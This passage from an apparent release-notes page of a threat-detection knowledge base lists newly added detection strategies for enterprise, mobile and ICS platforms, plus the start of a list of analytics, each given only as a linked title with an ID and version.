Persistence Artifact Removal Across Host Platforms](/detectionstrategies/DET0040) (v1.0) +* [Detection of Phishing for Information](/detectionstrategies/DET0823) (v1.0) +* [Detection of Proxy Execution via Trusted Signed Binaries Across Platforms](/detectionstrategies/DET0081) (v1.0) +* [Detection of Proxy Infrastructure Setup and Traffic Bridging](/detectionstrategies/DET0445) (v1.0) +* [Detection of Purchase Technical Data](/detectionstrategies/DET0880) (v1.0) +* [Detection of Registry Query for Environmental Discovery](/detectionstrategies/DET0209) (v1.0) +* [Detection of Remote Data Staging Prior to Exfiltration](/detectionstrategies/DET0071) (v1.0) +* [Detection of Remote Service Session Hijacking](/detectionstrategies/DET0079) (v1.0) +* [Detection of SEO Poisoning](/detectionstrategies/DET0881) (v1.0) +* [Detection of Scan Databases](/detectionstrategies/DET0858) (v1.0) +* [Detection of Scanning IP Blocks](/detectionstrategies/DET0817) (v1.0) +* [Detection of Script-Based Proxy Execution via Signed Microsoft Utilities](/detectionstrategies/DET0466) (v1.0) +* [Detection of Search Closed Sources](/detectionstrategies/DET0822) (v1.0) +* [Detection of Search Engines](/detectionstrategies/DET0811) (v1.0) +* [Detection of Search Open Technical Databases](/detectionstrategies/DET0860) (v1.0) +* [Detection of Search Open Websites/Domains](/detectionstrategies/DET0856) (v1.0) +* [Detection of Search Threat Vendor Data](/detectionstrategies/DET0866) (v1.0) +* [Detection of Search Victim-Owned Websites](/detectionstrategies/DET0810) (v1.0) +* [Detection of Selective Exclusion](/detectionstrategies/DET0897) (v1.0) +* [Detection of Server](/detectionstrategies/DET0871) (v1.0) +* [Detection of Server](/detectionstrategies/DET0874) (v1.0) +* [Detection of Serverless](/detectionstrategies/DET0829) (v1.0) +* [Detection of Serverless](/detectionstrategies/DET0864) (v1.0) +* [Detection of Social Media](/detectionstrategies/DET0812) (v1.0) +* [Detection of Social Media Accounts](/detectionstrategies/DET0851) (v1.0) +* [Detection of Social Media Accounts](/detectionstrategies/DET0870) (v1.0) +* [Detection of Software](/detectionstrategies/DET0888) (v1.0) +* [Detection of Spearphishing Attachment](/detectionstrategies/DET0865) (v1.0) +* [Detection of Spearphishing Link](/detectionstrategies/DET0878) (v1.0) +* [Detection of Spearphishing Service](/detectionstrategies/DET0821) (v1.0) +* [Detection of Spearphishing Voice](/detectionstrategies/DET0886) (v1.0) +* [Detection of Spoofed User-Agent](/detectionstrategies/DET0898) (v1.0) +* [Detection of Stage Capabilities](/detectionstrategies/DET0839) (v1.0) +* [Detection of Suspicious Compiled HTML File Execution via hh.exe](/detectionstrategies/DET0342) (v1.0) +* [Detection of Suspicious Scheduled Task Creation and Execution on Windows](/detectionstrategies/DET0441) (v1.0) +* [Detection of System Network Connections Discovery Across Platforms](/detectionstrategies/DET0320) (v1.0) +* [Detection of System Process Creation or Modification Across Platforms](/detectionstrategies/DET0571) (v1.0) +* [Detection of System Service Discovery Commands Across OS Platforms](/detectionstrategies/DET0483) (v1.0) +* [Detection of Systemd Service Creation or Modification on Linux](/detectionstrategies/DET0253) (v1.0) +* [Detection of Tainted Content Written to Shared Storage](/detectionstrategies/DET0471) (v1.0) +* [Detection of Threat Intel Vendors](/detectionstrategies/DET0816) (v1.0) +* [Detection of Tool](/detectionstrategies/DET0852) (v1.0) +* [Detection of Trust Relationship Modifications in Domain or Tenant Policies](/detectionstrategies/DET0458) (v1.0) +* [Detection of USB-Based Data Exfiltration](/detectionstrategies/DET0220) (v1.0) +* [Detection of Unauthorized DCSync Operations via Replication API Abuse](/detectionstrategies/DET0594) (v1.0) +* [Detection of Upload Malware](/detectionstrategies/DET0824) (v1.0) +* [Detection of Upload Tool](/detectionstrategies/DET0834) (v1.0) +* [Detection of Valid Account Abuse Across Platforms](/detectionstrategies/DET0560) (v1.0) +* [Detection of Virtual Private Server](/detectionstrategies/DET0838) (v1.0) +* [Detection of Virtual Private Server](/detectionstrategies/DET0854) (v1.0) +* [Detection of Vulnerabilities](/detectionstrategies/DET0808) (v1.0) +* [Detection of Vulnerability Scanning](/detectionstrategies/DET0867) (v1.0) +* [Detection of WHOIS](/detectionstrategies/DET0832) (v1.0) +* [Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets](/detectionstrategies/DET0027) (v1.0) +* [Detection of Web Services](/detectionstrategies/DET0896) (v1.0) +* [Detection of Web Services](/detectionstrategies/DET0882) (v1.0) +* [Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts](/detectionstrategies/DET0509) (v1.0) +* [Detection of Windows Service Creation or Modification](/detectionstrategies/DET0552) (v1.0) +* [Detection of Wordlist Scanning](/detectionstrategies/DET0868) (v1.0) +* [Detection strategy for Group Policy Discovery on Windows](/detectionstrategies/DET0055) (v1.0) +* [Direct Network Flood Detection across IaaS, Linux, Windows, and macOS](/detectionstrategies/DET0343) (v1.0) +* [Distributed Password Spraying via Authentication Failures Across Multiple Accounts](/detectionstrategies/DET0487) (v1.0) +* [Domain Account Enumeration Across Platforms](/detectionstrategies/DET0129) (v1.0) +* [Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers](/detectionstrategies/DET0196) (v1.0) +* [Drive-by Compromise — Behavior-based, Multi-platform Detection Strategy (T1189)](/detectionstrategies/DET0176) (v1.0) +* [Email Collection via Local Email Access and Auto-Forwarding Behavior](/detectionstrategies/DET0476) (v1.0) +* [Email Forwarding Rule Abuse Detection Across Platforms](/detectionstrategies/DET0576) (v1.0) +* [Encrypted or Encoded File Payload Detection Strategy](/detectionstrategies/DET0087) (v1.0) +* [Endpoint DoS via OS Exhaustion Flood Detection Strategy](/detectionstrategies/DET0356) (v1.0) +* [Endpoint Resource Saturation and Crash Pattern Detection Across Platforms](/detectionstrategies/DET0208) (v1.0) +* [Enumeration of Global Address Lists via Email Account Discovery](/detectionstrategies/DET0229) (v1.0) +* [Enumeration of User or Account Information Across Platforms](/detectionstrategies/DET0587) (v1.0) +* [Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy](/detectionstrategies/DET0474) (v1.0) +* [Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)](/detectionstrategies/DET0080) (v1.0) +* [Exploitation for Client Execution – cross-platform behavior chain (browser/Office/3rd-party apps)](/detectionstrategies/DET0287) (v1.0) +* [Exploitation of Remote Services – multi-platform lateral movement detection](/detectionstrategies/DET0118) (v1.0) +* [External Proxy Behavior via Outbound Relay to Intermediate Infrastructure](/detectionstrategies/DET0325) (v1.0) +* [Firmware Modification via Flash Tool or Corrupted Firmware Upload](/detectionstrategies/DET0167) (v1.0) +* [Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks](/detectionstrategies/DET0368) (v1.0) +* [IDE Tunneling Detection via Process, File, and Network Behaviors](/detectionstrategies/DET0133) (v1.0) +* [Indirect Command Execution – Windows utility abuse behavior chain](/detectionstrategies/DET0200) (v1.0) +* [Internal Proxy Behavior via Lateral Host-to-Host C2 Relay](/detectionstrategies/DET0075) (v1.0) +* [Internal Spearphishing via Trusted Accounts](/detectionstrategies/DET0054) (v1.0) +* [Internal Website and System Content Defacement via UI or Messaging Modifications](/detectionstrategies/DET0082) (v1.0) +* [Invalid Code Signature Execution Detection via Metadata and Behavioral Context](/detectionstrategies/DET0031) (v1.0) +* [Linux Detection Strategy for T1547.013 - XDG Autostart Entries](/detectionstrategies/DET0390) (v1.0) +* [Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018)](/detectionstrategies/DET0258) (v1.0) +* [Local Account Enumeration Across Host Platforms](/detectionstrategies/DET0303) (v1.0) +* [Local Storage Discovery via Drive Enumeration and Filesystem Probing](/detectionstrategies/DET0188) (v1.0) +* [Masquerading via Space After Filename - Behavioral Detection Strategy](/detectionstrategies/DET0292) (v1.0) +* [Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution](/detectionstrategies/DET0285) (v1.0) +* [Multi-Event Detection for SMB Admin Share Lateral Movement](/detectionstrategies/DET0530) (v1.0) +* [Multi-Platform Behavioral Detection for Compute Hijacking](/detectionstrategies/DET0540) (v1.0) +* [Multi-Platform Cloud Storage Exfiltration Behavior Chain](/detectionstrategies/DET0484) (v1.0) +* [Multi-Platform Detection Strategy for T1678 - Delay Execution](/detectionstrategies/DET0372) (v1.0) +* [Multi-Platform Execution Guardrails Environmental Validation Detection Strategy](/detectionstrategies/DET0562) (v1.0) +* [Multi-Platform File and Directory Permissions Modification Detection Strategy](/detectionstrategies/DET0299) (v1.0) +* [Multi-Platform Shutdown or Reboot Detection via Execution and Host Status Events](/detectionstrategies/DET0559) (v1.0) +* [Multi-Platform Software Discovery Behavior Chain](/detectionstrategies/DET0392) (v1.0) +* [Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity](/detectionstrategies/DET0327) (v1.0) +* [Multi-hop Proxy Behavior via Relay Node Chaining, Onion Routing, and Network Tunneling](/detectionstrategies/DET0359) (v1.0) +* [Obfuscated Binary Unpacking Detection via Behavioral Patterns](/detectionstrategies/DET0023) (v1.0) +* [Password Guessing via Multi-Source Authentication Failure Correlation](/detectionstrategies/DET0551) (v1.0) +* [Password Policy Discovery – cross-platform behavior-chain analytics](/detectionstrategies/DET0161) (v1.0) +* [Peripheral Device Enumeration via System Utilities and API Calls](/detectionstrategies/DET0491) (v1.0) +* [Port-knock → rule/daemon change → first successful connect (T1205.001)](/detectionstrategies/DET0302) (v1.0) +* [Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools](/detectionstrategies/DET0105) (v1.0) +* [Programmatic and Excessive Access to Confluence Documentation](/detectionstrategies/DET0358) (v1.0) +* [Recursive Enumeration of Files and Directories Across Privilege Contexts](/detectionstrategies/DET0370) (v1.0) +* [Registry and LSASS Monitoring for Security Support Provider Abuse](/detectionstrategies/DET0542) (v1.0) +* [Remote Desktop Software Execution and Beaconing Detection](/detectionstrategies/DET0259) (v1.0) +* [Removable Media Execution Chain Detection via File and Process Activity](/detectionstrategies/DET0301) (v1.0) +* [Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path](/detectionstrategies/DET0005) (v1.0) +* [Resource Hijacking Detection Strategy](/detectionstrategies/DET0267) (v1.0) +* [Right-to-Left Override Masquerading Detection via Filename and Execution Context](/detectionstrategies/DET0527) (v1.0) +* [Security Software Discovery Across Platforms](/detectionstrategies/DET0016) (v1.0) +* [Setuid/Setgid Privilege Abuse Detection (Linux/macOS)](/detectionstrategies/DET0110) (v1.0) +* [Socket-filter trigger → on-host raw-socket activity → reverse connection (T1205.002)](/detectionstrategies/DET0162) (v1.0) +* [Supply-chain tamper in dependencies/dev-tools (manager→write/install→first-run→egress)](/detectionstrategies/DET0009) (v1.0) +* [Suspicious Addition to Local or Domain Groups](/detectionstrategies/DET0310) (v1.0) +* [Suspicious Database Access and Dump Activity Across Environments (T1213.006)](/detectionstrategies/DET0242) (v1.0) +* [Suspicious Device Registration via Entra ID or MFA Platform](/detectionstrategies/DET0036) (v1.0) +* [Suspicious RoleBinding or ClusterRoleBinding Assignment in Kubernetes](/detectionstrategies/DET0572) (v1.0) +* [Suspicious Use of Web Services for C2](/detectionstrategies/DET0425) (v1.0) +* [System Discovery via Native and Remote Utilities](/detectionstrategies/DET0525) (v1.0) +* [T1136.001 Detection Strategy - Local Account Creation Across Platforms](/detectionstrategies/DET0447) (v1.0) +* [T1136.002 Detection Strategy - Domain Account Creation Across Platforms](/detectionstrategies/DET0003) (v1.0) +* [TCC Database Manipulation via Launchctl and Unprotected SIP](/detectionstrategies/DET0534) (v1.0) +* [Template Injection Detection - Windows](/detectionstrategies/DET0566) (v1.0) +* [Traffic Signaling (Port-knock / magic-packet → firewall or service activation) – T1205](/detectionstrategies/DET0524) (v1.0) +* [Unauthorized Network Firewall Rule Modification (T1562.013)](/detectionstrategies/DET0306) (v1.0) +* [Unix-like File Permission Manipulation Behavioral Chain Detection Strategy](/detectionstrategies/DET0351) (v1.0) +* [User Execution – Malicious Copy & Paste (browser/email → shell with obfuscated one-liner) – T1204.004](/detectionstrategies/DET0340) (v1.0) +* [User Execution – Malicious File via download/open → spawn chain (T1204.002)](/detectionstrategies/DET0294) (v1.0) +* [User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003)](/detectionstrategies/DET0248) (v1.0) +* [User Execution – Malicious Link (click → suspicious egress → download/write → follow-on activity)](/detectionstrategies/DET0066) (v1.0) +* [User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress)](/detectionstrategies/DET0478) (v1.0) +* [User-Initiated Malicious Library Installation via Package Manager (T1204.005)](/detectionstrategies/DET0252) (v1.0) +* [Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS](/detectionstrategies/DET0168) (v1.0) +* [Web Shell Detection via Server Behavior and File Execution Chains](/detectionstrategies/DET0394) (v1.0) +* [Windows COM Hijacking Detection via Registry and DLL Load Correlation](/detectionstrategies/DET0481) (v1.0) +* [Windows DACL Manipulation Behavioral Chain Detection Strategy](/detectionstrategies/DET0418) (v1.0) +* [Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence](/detectionstrategies/DET0026) (v1.0) +* [macOS AuthorizationExecuteWithPrivileges Elevation Prompt Detection](/detectionstrategies/DET0395) (v1.0) + +### Mobile + +#### New Detection Strategies + +* [Detection of Abuse Accessibility Features](/detectionstrategies/DET0697) (v1.0) +* [Detection of Abuse Elevation Control Mechanism](/detectionstrategies/DET0642) (v1.0) +* [Detection of Access Notifications](/detectionstrategies/DET0611) (v1.0) +* [Detection of Account Access Removal](/detectionstrategies/DET0605) (v1.0) +* [Detection of Accounts](/detectionstrategies/DET0635) (v1.0) +* [Detection of Adversary-in-the-Middle](/detectionstrategies/DET0623) (v1.0) +* [Detection of Application Layer Protocol](/detectionstrategies/DET0685) (v1.0) +* [Detection of Application Versioning](/detectionstrategies/DET0652) (v1.0) +* [Detection of Archive Collected Data](/detectionstrategies/DET0670) (v1.0) +* [Detection of Asymmetric Cryptography](/detectionstrategies/DET0667) (v1.0) +* [Detection of Audio Capture](/detectionstrategies/DET0673) (v1.0) +* [Detection of Bidirectional Communication](/detectionstrategies/DET0700) (v1.0) +* [Detection of Boot or Logon Initialization Scripts](/detectionstrategies/DET0654) (v1.0) +* [Detection of Broadcast Receivers](/detectionstrategies/DET0711) (v1.0) +* [Detection of Calendar Entries](/detectionstrategies/DET0674) (v1.0) +* [Detection of Call Control](/detectionstrategies/DET0703) (v1.0) +* [Detection of Call Log](/detectionstrategies/DET0602) (v1.0) +* [Detection of Clipboard Data](/detectionstrategies/DET0643) (v1.0) +* [Detection of Code Signing Policy Modification](/detectionstrategies/DET0619) (v1.0) +* [Detection of Command and Scripting Interpreter](/detectionstrategies/DET0655) (v1.0) +* [Detection of Compromise Application Executable](/detectionstrategies/DET0649) (v1.0) +* [Detection of Compromise Client Software Binary](/detectionstrategies/DET0712) (v1.0) +* [Detection of Compromise Hardware Supply Chain](/detectionstrategies/DET0604) (v1.0) +* [Detection of Compromise Software Dependencies and Development Tools](/detectionstrategies/DET0704) (v1.0) +* [Detection of Compromise Software Supply Chain](/detectionstrategies/DET0721) (v1.0) +* [Detection of Conceal Multimedia Files](/detectionstrategies/DET0659) (v1.0) +* [Detection of Contact List](/detectionstrategies/DET0679) (v1.0) +* [Detection of Credentials from Password Store](/detectionstrategies/DET0633) (v1.0) +* [Detection of Data Destruction](/detectionstrategies/DET0671) (v1.0) +* [Detection of Data Encrypted for Impact](/detectionstrategies/DET0678) (v1.0) +* [Detection of Data Manipulation](/detectionstrategies/DET0660) (v1.0) +* [Detection of Data from Local System](/detectionstrategies/DET0713) (v1.0) +* [Detection of Dead Drop Resolver](/detectionstrategies/DET0617) (v1.0) +* [Detection of Device Administrator Permissions](/detectionstrategies/DET0630) (v1.0) +* [Detection of Device Lockout](/detectionstrategies/DET0603) (v1.0) +* [Detection of Disable or Modify Tools](/detectionstrategies/DET0693) (v1.0) +* [Detection of Disguise Root/Jailbreak Indicators](/detectionstrategies/DET0710) (v1.0) +* [Detection of Domain Generation Algorithms](/detectionstrategies/DET0669) (v1.0) +* [Detection of Download New Code at Runtime](/detectionstrategies/DET0618) (v1.0) +* [Detection of Drive-By Compromise](/detectionstrategies/DET0614) (v1.0) +* [Detection of Dynamic Resolution](/detectionstrategies/DET0613) (v1.0) +* [Detection of Encrypted Channel](/detectionstrategies/DET0641) (v1.0) +* [Detection of Endpoint Denial of Service](/detectionstrategies/DET0627) (v1.0) +* [Detection of Event Triggered Execution](/detectionstrategies/DET0647) (v1.0) +* [Detection of Execution Guardrails](/detectionstrategies/DET0653) (v1.0) +* [Detection of Exfiltration Over Alternative Protocol](/detectionstrategies/DET0698) (v1.0) +* [Detection of Exfiltration Over C2 Channel](/detectionstrategies/DET0615) (v1.0) +* [Detection of Exfiltration Over Unencrypted Non-C2 Protocol](/detectionstrategies/DET0701) (v1.0) +* [Detection of Exploitation for Client Execution](/detectionstrategies/DET0629) (v1.0) +* [Detection of Exploitation for Initial Access](/detectionstrategies/DET0666) (v1.0) +* [Detection of Exploitation for Privilege Escalation](/detectionstrategies/DET0665) (v1.0) +* [Detection of Exploitation of Remote Services](/detectionstrategies/DET0663) (v1.0) +* [Detection of File Deletion](/detectionstrategies/DET0638) (v1.0) +* [Detection of File and Directory Discovery](/detectionstrategies/DET0682) (v1.0) +* [Detection of Foreground Persistence](/detectionstrategies/DET0637) (v1.0) +* [Detection of GUI Input Capture](/detectionstrategies/DET0676) (v1.0) +* [Detection of Generate Traffic from Victim](/detectionstrategies/DET0608) (v1.0) +* [Detection of Geofencing](/detectionstrategies/DET0648) (v1.0) +* [Detection of Hide Artifacts](/detectionstrategies/DET0640) (v1.0) +* [Detection of Hijack Execution Flow](/detectionstrategies/DET0694) (v1.0) +* [Detection of Hooking](/detectionstrategies/DET0719) (v1.0) +* [Detection of Impair Defenses](/detectionstrategies/DET0687) (v1.0) +* [Detection of Impersonate SS7 Nodes](/detectionstrategies/DET0662) (v1.0) +* [Detection of Indicator Removal on Host](/detectionstrategies/DET0651) (v1.0) +* [Detection of Ingress Tool Transfer](/detectionstrategies/DET0718) (v1.0) +* [Detection of Input Capture](/detectionstrategies/DET0705) (v1.0) +* [Detection of Input Injection](/detectionstrategies/DET0612) (v1.0) +* [Detection of Internet Connection Discovery](/detectionstrategies/DET0708) (v1.0) +* [Detection of Keychain](/detectionstrategies/DET0664) (v1.0) +* [Detection of Keylogging](/detectionstrategies/DET0661) (v1.0) +* [Detection of Linked Devices](/detectionstrategies/DET0716) (v1.0) +* [Detection of Location Tracking](/detectionstrategies/DET0675) (v1.0) +* [Detection of Lockscreen Bypass](/detectionstrategies/DET0645) (v1.0) +* [Detection of Masquerading](/detectionstrategies/DET0715) (v1.0) +* [Detection of Match Legitimate Name or Location](/detectionstrategies/DET0609) (v1.0) +* [Detection of Native API](/detectionstrategies/DET0717) (v1.0) +* [Detection of Network Denial of Service](/detectionstrategies/DET0639) (v1.0) +* [Detection of Network Service Scanning](/detectionstrategies/DET0696) (v1.0) +* [Detection of Non-Standard Port](/detectionstrategies/DET0706) (v1.0) +* [Detection of Obfuscated Files or Information](/detectionstrategies/DET0720) (v1.0) +* [Detection of One-Way Communication](/detectionstrategies/DET0610) (v1.0) +* [Detection of Out of Band Data](/detectionstrategies/DET0688) (v1.0) +* [Detection of Phishing](/detectionstrategies/DET0684) (v1.0) +* [Detection of Prevent Application Removal](/detectionstrategies/DET0598) (v1.0) +* [Detection of Process Discovery](/detectionstrategies/DET0692) (v1.0) +* [Detection of Process Injection](/detectionstrategies/DET0632) (v1.0) +* [Detection of Protected User Data](/detectionstrategies/DET0681) (v1.0) +* [Detection of Proxy Through Victim](/detectionstrategies/DET0631) (v1.0) +* [Detection of Ptrace System Calls](/detectionstrategies/DET0622) (v1.0) +* [Detection of Remote Access Software](/detectionstrategies/DET0624) (v1.0) +* [Detection of Remote Device Management Services](/detectionstrategies/DET0702) (v1.0) +* [Detection of Replication Through Removable Media](/detectionstrategies/DET0691) (v1.0) +* [Detection of SIM Card Swap](/detectionstrategies/DET0658) (v1.0) +* [Detection of SMS Control](/detectionstrategies/DET0599) (v1.0) +* [Detection of SMS Messages](/detectionstrategies/DET0686) (v1.0) +* [Detection of SSL Pinning](/detectionstrategies/DET0646) (v1.0) +* [Detection of Scheduled Task/Job](/detectionstrategies/DET0707) (v1.0) +* [Detection of Screen Capture](/detectionstrategies/DET0668) (v1.0) +* [Detection of Security Software Discovery](/detectionstrategies/DET0680) (v1.0) +* [Detection of Software Discovery](/detectionstrategies/DET0600) (v1.0) +* [Detection of Software Packing](/detectionstrategies/DET0644) (v1.0) +* [Detection of Steal Application Access Token](/detectionstrategies/DET0656) (v1.0) +* [Detection of Steganography](/detectionstrategies/DET0677) (v1.0) +* [Detection of Stored Application Data](/detectionstrategies/DET0621) (v1.0) +* [Detection of Subvert Trust Controls](/detectionstrategies/DET0657) (v1.0) +* [Detection of Supply Chain Compromise](/detectionstrategies/DET0628) (v1.0) +* [Detection of Suppress Application Icon](/detectionstrategies/DET0714) (v1.0) +* [Detection of Symmetric Cryptography](/detectionstrategies/DET0650) (v1.0) +* [Detection of System Checks](/detectionstrategies/DET0625) (v1.0) +* [Detection of System Information Discovery](/detectionstrategies/DET0601) (v1.0) +* [Detection of System Network Configuration Discovery](/detectionstrategies/DET0634) (v1.0) +* [Detection of System Network Connections Discovery](/detectionstrategies/DET0636) (v1.0) +* [Detection of System Runtime API Hijacking](/detectionstrategies/DET0689) (v1.0) +* [Detection of Transmitted Data Manipulation](/detectionstrategies/DET0683) (v1.0) +* [Detection of URI Hijacking](/detectionstrategies/DET0626) (v1.0) +* [Detection of Uninstall Malicious Application](/detectionstrategies/DET0690) (v1.0) +* [Detection of Unix Shell](/detectionstrategies/DET0607) (v1.0) +* [Detection of User Evasion](/detectionstrategies/DET0699) (v1.0) +* [Detection of Video Capture](/detectionstrategies/DET0695) (v1.0) +* [Detection of Virtualization Solution](/detectionstrategies/DET0606) (v1.0) +* [Detection of Virtualization/Sandbox Evasion](/detectionstrategies/DET0616) (v1.0) +* [Detection of Web Protocols](/detectionstrategies/DET0620) (v1.0) +* [Detection of Web Service](/detectionstrategies/DET0672) (v1.0) +* [Detection of Wi-Fi Discovery](/detectionstrategies/DET0709) (v1.0) + +### ICS + +#### New Detection Strategies + +* [Detection of Activate Firmware Update Mode](/detectionstrategies/DET0802) (v1.0) +* [Detection of Adversary-in-the-Middle](/detectionstrategies/DET0764) (v1.0) +* [Detection of Alarm Suppression](/detectionstrategies/DET0728) (v1.0) +* [Detection of Automated Collection](/detectionstrategies/DET0734) (v1.0) +* [Detection of Autorun Image](/detectionstrategies/DET0748) (v1.0) +* [Detection of Block Command Message](/detectionstrategies/DET0784) (v1.0) +* [Detection of Block Reporting Message](/detectionstrategies/DET0789) (v1.0) +* [Detection of Block Serial COM](/detectionstrategies/DET0797) (v1.0) +* [Detection of Brute Force I/O](/detectionstrategies/DET0737) (v1.0) +* [Detection of Change Credential](/detectionstrategies/DET0771) (v1.0) +* [Detection of Change Operating Mode](/detectionstrategies/DET0755) (v1.0) +* [Detection of Command-Line Interface](/detectionstrategies/DET0760) (v1.0) +* [Detection of Commonly Used Port](/detectionstrategies/DET0736) (v1.0) +* [Detection of Connection Proxy](/detectionstrategies/DET0759) (v1.0) +* [Detection of Damage to Property](/detectionstrategies/DET0762) (v1.0) +* [Detection of Data Destruction](/detectionstrategies/DET0758) (v1.0) +* [Detection of Data from Information Repositories](/detectionstrategies/DET0754) (v1.0) +* [Detection of Data from Local System](/detectionstrategies/DET0749) (v1.0) +* [Detection of Default Credentials](/detectionstrategies/DET0756) (v1.0) +* [Detection of Denial of Control](/detectionstrategies/DET0786) (v1.0) +* [Detection of Denial of Service](/detectionstrategies/DET0723) (v1.0) +* [Detection of Denial of View](/detectionstrategies/DET0769) (v1.0) +* [Detection of Detect Operating Mode](/detectionstrategies/DET0768) (v1.0) +* [Detection of Device Restart/Shutdown](/detectionstrategies/DET0801) (v1.0) +* [Detection of Drive-by Compromise](/detectionstrategies/DET0782) (v1.0) +* [Detection of Execution through API](/detectionstrategies/DET0742) (v1.0) +* [Detection of Exploit Public-Facing Application](/detectionstrategies/DET0740) (v1.0) +* [Detection of Exploitation for Evasion](/detectionstrategies/DET0795) (v1.0) +* [Detection of Exploitation for Privilege Escalation](/detectionstrategies/DET0738) (v1.0) +* [Detection of Exploitation of Remote Services](/detectionstrategies/DET0767) (v1.0) +* [Detection of External Remote Services](/detectionstrategies/DET0803) (v1.0) +* [Detection of Graphical User Interface](/detectionstrategies/DET0772) (v1.0) +* [Detection of Hardcoded Credentials](/detectionstrategies/DET0798) (v1.0) +* [Detection of Hooking](/detectionstrategies/DET0722) (v1.0) +* [Detection of I/O Image](/detectionstrategies/DET0774) (v1.0) +* [Detection of Indicator Removal on Host](/detectionstrategies/DET0750) (v1.0) +* [Detection of Internet Accessible Device](/detectionstrategies/DET0796) (v1.0) +* [Detection of Lateral Tool Transfer](/detectionstrategies/DET0745) (v1.0) +* [Detection of Loss of Availability](/detectionstrategies/DET0729) (v1.0) +* [Detection of Loss of Control](/detectionstrategies/DET0778) (v1.0) +* [Detection of Loss of Productivity and Revenue](/detectionstrategies/DET0757) (v1.0) +* [Detection of Loss of Protection](/detectionstrategies/DET0775) (v1.0) +* [Detection of Loss of Safety](/detectionstrategies/DET0779) (v1.0) +* [Detection of Loss of View](/detectionstrategies/DET0763) (v1.0) +* [Detection of Manipulate I/O Image](/detectionstrategies/DET0773) (v1.0) +* [Detection of Manipulation of Control](/detectionstrategies/DET0747) (v1.0) +* [Detection of Manipulation of View](/detectionstrategies/DET0785) (v1.0) +* [Detection of Masquerading](/detectionstrategies/DET0725) (v1.0) +* [Detection of Modify Alarm Settings](/detectionstrategies/DET0777) (v1.0) +* [Detection of Modify Controller Tasking](/detectionstrategies/DET0741) (v1.0) +* [Detection of Modify Parameter](/detectionstrategies/DET0776) (v1.0) +* [Detection of Modify Program](/detectionstrategies/DET0783) (v1.0) +* [Detection of Module Firmware](/detectionstrategies/DET0790) (v1.0) +* [Detection of Monitor Process State](/detectionstrategies/DET0727) (v1.0) +* [Detection of Native API](/detectionstrategies/DET0753) (v1.0) +* [Detection of Network Connection Enumeration](/detectionstrategies/DET0770) (v1.0) +* [Detection of Network Sniffing](/detectionstrategies/DET0800) (v1.0) +* [Detection of Point & Tag Identification](/detectionstrategies/DET0788) (v1.0) +* [Detection of Program Download](/detectionstrategies/DET0752) (v1.0) +* [Detection of Program Upload](/detectionstrategies/DET0761) (v1.0) +* [Detection of Project File Infection](/detectionstrategies/DET0766) (v1.0) +* [Detection of Remote Services](/detectionstrategies/DET0804) (v1.0) +* [Detection of Remote System Discovery](/detectionstrategies/DET0739) (v1.0) +* [Detection of Remote System Information Discovery](/detectionstrategies/DET0787) (v1.0) +* [Detection of Replication Through Removable Media](/detectionstrategies/DET0733) (v1.0) +* [Detection of Rogue Master](/detectionstrategies/DET0792) (v1.0) +* [Detection of Rootkit](/detectionstrategies/DET0780) (v1.0) +* [Detection of Screen Capture](/detectionstrategies/DET0751) (v1.0) +* [Detection of Scripting](/detectionstrategies/DET0735) (v1.0) +* [Detection of Service Stop](/detectionstrategies/DET0765) (v1.0) +* [Detection of Spearphishing Attachment](/detectionstrategies/DET0781) (v1.0) +* [Detection of Spoof Reporting Message](/detectionstrategies/DET0746) (v1.0) +* [Detection of Standard Application Layer Protocol](/detectionstrategies/DET0799) (v1.0) +* [Detection of Supply Chain Compromise](/detectionstrategies/DET0730) (v1.0) +* [Detection of System Binary Proxy Execution](/detectionstrategies/DET0793) (v1.0) +* [Detection of System Firmware](/detectionstrategies/DET0731) (v1.0) +* [Detection of Theft of Operational Information](/detectionstrategies/DET0732) (v1.0) +* [Detection of Transient Cyber Asset](/detectionstrategies/DET0744) (v1.0) +* [Detection of Unauthorized Command Message](/detectionstrategies/DET0794) (v1.0) +* [Detection of User Execution](/detectionstrategies/DET0791) (v1.0) +* [Detection of Valid Accounts](/detectionstrategies/DET0724) (v1.0) +* [Detection of Wireless Compromise](/detectionstrategies/DET0726) (v1.0) +* [Detection of Wireless Sniffing](/detectionstrategies/DET0743) (v1.0) + +## Analytics + +### Enterprise + +#### New Analytics + +* [Analytic 0001](/detectionstrategies/DET0001#AN0001) (v1.0) +* [Analytic 0002](/detectionstrategies/DET0002#AN0002) (v1.0) +* [Analytic 0003](/detectionstrategies/DET0002#AN0003) (v1.0) +* [Analytic 0004](/detectionstrategies/DET0002#AN0004) (v1.0) +* [Analytic 0005](/detectionstrategies/DET0002#AN0005) (v1.0) +* [Analytic 0006](/detectionstrategies/DET0003#AN0006) (v1.0) +* [Analytic 0007](/detectionstrategies/DET0003#AN0007) (v1.0) +* [Analytic 0008](/detectionstrategies/DET0003#AN0008) (v1.0) +* [Analytic 0009](/detectionstrategies/DET0004#AN0009) (v1.0) +* [Analytic 0010](/detectionstrategies/DET0004#AN0010) (v1.0) +* [Analytic 0011](/detectionstrategies/DET0004#AN0011) (v1.0) +* [Analytic 0012](/detectionstrategies/DET0005#AN0012) (v1.0) +* [Analytic 0013](/detectionstrategies/DET0005#AN0013) (v1.0) +* [Analytic 0014](/detectionstrategies/DET0005#AN0014) (v1.0) +* [Analytic 0015](/detectionstrategies/DET0006#AN0015) (v1.0) +* [Analytic 0016](/detectionstrategies/DET0007#AN0016) (v1.0) +* [Analytic 0017](/detectionstrategies/DET0008#AN0017) (v1.0) +* [Analytic 0018](/detectionstrategies/DET0008#AN0018) (v1.0) +* [Analytic 0019](/detectionstrategies/DET0008#AN0019) (v1.0) +* [Analytic 0020](/detectionstrategies/DET0008#AN0020) (v1.0) +* [Analytic 0021](/detectionstrategies/DET0009#AN0021) (v1.0) +* [Analytic 